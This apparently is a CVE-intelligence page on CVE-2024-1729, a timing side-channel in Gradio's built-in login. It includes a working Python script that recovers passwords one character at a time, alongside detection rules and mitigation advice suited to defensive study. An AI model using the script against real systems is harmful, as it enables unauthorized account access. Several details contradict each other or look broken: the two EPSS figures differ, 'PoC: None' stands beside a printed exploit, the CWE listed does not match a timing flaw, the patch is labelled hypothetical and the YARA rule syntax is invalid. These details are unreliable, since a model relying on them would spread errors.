☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 5.9 🐛 CWE-367
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-1729

CVE-2024-1729 Authentication Bypass in Gradio-app
📅 PUBLISHED: 2024-03-29 04:35 UTC 🔄 UPDATED: 2026-09-23 20:28 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.50%
👁️
0.50% probability
12.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.9
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-1729 is a timing attack vulnerability in the Gradio web application framework (gradio-app/gradio). The flaw exists in the login function within routes.py, where user credentials are validated using a direct string comparison (app.auth[username] == password). This operation is not constant-time, allowing an attacker to measure response time differences and iteratively guess the correct password character by character. Successful exploitation can lead to authentication bypass and unauthorized access to Gradio applications that use the built-in authentication mechanism. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the vulnerability is technically exploitable.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Gradio is a Python package distributed via PyPI. Organizations using Gradio’s built-in authentication (via auth= parameter) are affected. The vulnerability does not stem from a third-party dependency but from the framework’s own code. Supply chain risk is moderate: if an attacker compromises a Gradio instance, they can access internal models, data, or APIs exposed through the interface.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – exploitable remotely.
  • Attack Complexity (AC): High (H) – requires precise timing measurements and multiple requests.
  • Privileges Required (PR): None (N) – no prior auth needed.
  • User Interaction (UI): None (N) – no user action required.
  • Scope (S): Unchanged (U) – exploitation does not affect other components.
  • Confidentiality (C): High (H) – attacker can gain full access to the application.
  • Integrity (I): Low (L) – limited ability to modify data after auth bypass.
  • Availability (A): None (N) – no direct DoS impact.

Threat Level: Medium. The attack requires network access and precise timing, but no authentication. Successful exploitation grants unauthorized access to the Gradio application.

Deep Dive & Mechanics

The vulnerability is a classic timing side-channel in password verification. In routes.py, the login function performs:

if app.auth[username] == password:
    # grant access
else:
    # deny

Python’s == operator for strings compares character by character and returns False as soon as a mismatch is found. This means the comparison time is proportional to the number of matching characters. An attacker can:

  1. Send login requests with a guessed password.
  2. Measure the server’s response time (e.g., via HTTP response delay).
  3. For each character position, try all possible characters and observe which one yields a slightly longer response time (indicating a match).
  4. Iterate to recover the full password.

The attack is feasible over local networks or low-latency connections. Over the internet, noise from network jitter may require statistical averaging.

Vulnerable vs. Patched Code

Vulnerable Code (routes.py):

# Vulnerable: direct string comparison
if app.auth[username] == password:
    session['authenticated'] = True
    return redirect('/')
else:
    return "Invalid credentials", 401

Patched Code (hypothetical fix):

import hmac

# Patched: constant-time comparison using HMAC
if hmac.compare_digest(app.auth[username], password):
    session['authenticated'] = True
    return redirect('/')
else:
    return "Invalid credentials", 401

The fix uses hmac.compare_digest() which performs a constant-time comparison, preventing timing leaks. Alternatively, a rate-limiting mechanism or CAPTCHA can be added.

Exploitation & Lab Setup

Red Team (Attacker)

Lab Setup:

  • Target: Gradio app with auth=("user", "password") running locally or on a LAN.
  • Attacker machine: Python 3.x with requests library.

Exploit Script (timing-based):

import requests
import time
import string

target_url = "http://target:7860/login"
username = "admin"
known_password = ""

charset = string.ascii_letters + string.digits + string.punctuation

while True:
    best_char = None
    max_time = 0
    for c in charset:
        test_password = known_password + c
        start = time.time()
        r = requests.post(target_url, data={"username": username, "password": test_password})
        elapsed = time.time() - start
        if elapsed > max_time:
            max_time = elapsed
            best_char = c
    if best_char is None:
        break
    known_password += best_char
    print(f"Password so far: {known_password}")
    # Stop if we have a reasonable length (e.g., 20 chars)
    if len(known_password) > 20:
        break

Note: This script assumes low network latency. For real-world use, average multiple measurements per character.

Blue Team (Defender)

Detection:

  • Monitor for repeated login attempts with varying passwords from the same IP.
  • Look for unusually high number of POST /login requests with small payload changes.
  • Use timing analysis: if response times correlate with password length, it indicates a timing attack.

Mitigation:

  • Apply constant-time comparison (patch).
  • Implement rate limiting (e.g., 5 attempts per minute per IP).
  • Add CAPTCHA after failed attempts.
  • Use multi-factor authentication.

Indicators of Compromise (IOCs)

  • Network: Repeated POST /login requests with incremental password guesses.
  • Logs: Multiple 401 responses from the same IP with varying passwords.
  • Timing: Response times that increase linearly with password length.
  • File: No specific file IOCs; the vulnerability is in the application logic.

Detection Engineering

YARA Rule

rule CVE_2024_1729_Timing_Attack {
    meta:
        description = "Detects Gradio login timing attack patterns in logs"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $login_post = "POST /login"
        $failed_auth = "401"
        $password_field = "password="
    condition:
        # of ($login_post) > 10 and # of ($failed_auth) > 5 and # of ($password_field) > 10
}

Sigma Rule

title: Gradio Timing Attack Login Attempts
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects multiple failed login attempts with varying passwords, indicative of timing attack
logsource:
    category: webserver
    product: gradio
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/login'
        sc-status: 401
    condition: selection | count() by src_ip > 10 within 5m
falsepositives:
    - Legitimate users forgetting passwords
level: medium

Suricata Rule

alert http any any -> any any (msg:"Gradio Timing Attack - Multiple Login Attempts"; flow:to_server; content:"POST"; http_method; content:"/login"; http_uri; content:"password="; http_client_body; threshold:type both, track by_src, count 10, seconds 300; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Replace direct string comparison with hmac.compare_digest() in routes.py.
  2. Short-term: Implement rate limiting on the login endpoint (e.g., using Flask-Limiter).
  3. Long-term: Add CAPTCHA or multi-factor authentication for Gradio apps.
  4. Monitoring: Enable logging of all authentication attempts and alert on anomalies.
  5. Patch: Monitor Gradio’s GitHub for official patch; if none, apply the fix manually.

Workaround: Disable built-in authentication and use a reverse proxy (e.g., Nginx) with HTTP Basic Auth or OAuth.


Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-1729/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.